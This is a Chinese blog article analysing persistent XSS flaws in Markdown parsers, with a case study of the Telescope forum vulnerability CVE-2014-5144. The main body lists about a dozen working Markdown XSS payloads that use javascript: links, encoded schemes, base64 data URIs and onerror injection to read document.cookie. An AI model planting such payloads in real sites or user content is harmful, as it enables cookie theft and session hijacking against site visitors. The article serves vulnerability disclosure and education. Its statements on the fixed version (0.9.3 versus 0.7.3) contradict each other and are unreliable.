漏洞分析:一个Markdown解析器的持久型XSS漏洞

什么是Markdown?

Markdown是一种轻量级的标记语言,流行程度已经得到了GitHub和Stack Overflow的广泛支持,作为普通人我们也可以轻松上手。

[[127667]]

用markdown来写文章非常赞,那些琐碎的HTML标签都可以抛到脑后不用管。最近5年内,markdown收到非常多的关注,包括Reddit,Github,StackOverflow在内的很多应用都使用 markdown这也催生了很多的markdown解析器的产生,这里定义了一些markdown语法,语法约定markdown解析器将这些标签解析为html标签。

Markdown安全现状

Markdown解析器的安全现状如何?有没有对用户输入的数据做过滤?

事实上,很多markdown解析器都没有过滤用户输入的数据,那么如果markdown被用于添加用户评论等功能的时候,就有可能存在安全风险。

这里有一些关于这个问题的讨论:[1], [2], [3].

另外,如果用googe搜索一下:

markdown xss issue site:github.com

你就会发现github上又很多***很高的项目都被发现存在XSS 漏洞。

所以,如何构造一些payload呢?看下面这些:

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> 
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

上面这些payload是由Aleksa和原文作者一起搞出来的。在过去的12个月内,在实际渗透测试中证明,上面的这些 payload 是有效的。并且很多 markdown 解析器都受到影响。来看一下***一个payload:

[test](javascript://%0d%0aprompt(1);com)

我们猜测,markdown 解析器可能通过如下几个步骤来进行解析&转换:

判断时候有协议头?//有javascript 伪协议,Y

hostname 是以常见的域名后缀(com, org)结尾的?//是的,以 com 结尾 Y

将上述 payload 转换为 HTML 标签,//结果如下

  1. <a href="javascript://%0d%0aprompt(1);com>test</a> 

成功构造了一个XSS payload!当点击了上述链接后,就会触发XSS!

Telescope解析器一个持久性 XSS 漏洞(CVE-2014-5144)

Telescope是一个有名的开源项目,类似Reddit和Hackernews一样,提供一个社区功能。Telescope的一个解析帖子&评论的功能存在 XSS 漏洞,并且这个功能存在很久了!

在0.9.3之前的版本中,以上面的 payload 列表中的 payload 发帖或者发表评论,就可以导致一个XSS漏洞。该漏洞已经修复,Telescope在这里发了changelog:http://www.telesc.pe/blog/telescope-v093-dailyscope/

下面是漏洞对应的payload:

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

 

注意:上述漏洞已经在Telescope >= 0.7.3版本中修复了。

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/150714.html<

(0)
运维的头像运维
上一篇2025-03-13 05:11
下一篇 2025-03-13 05:12

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注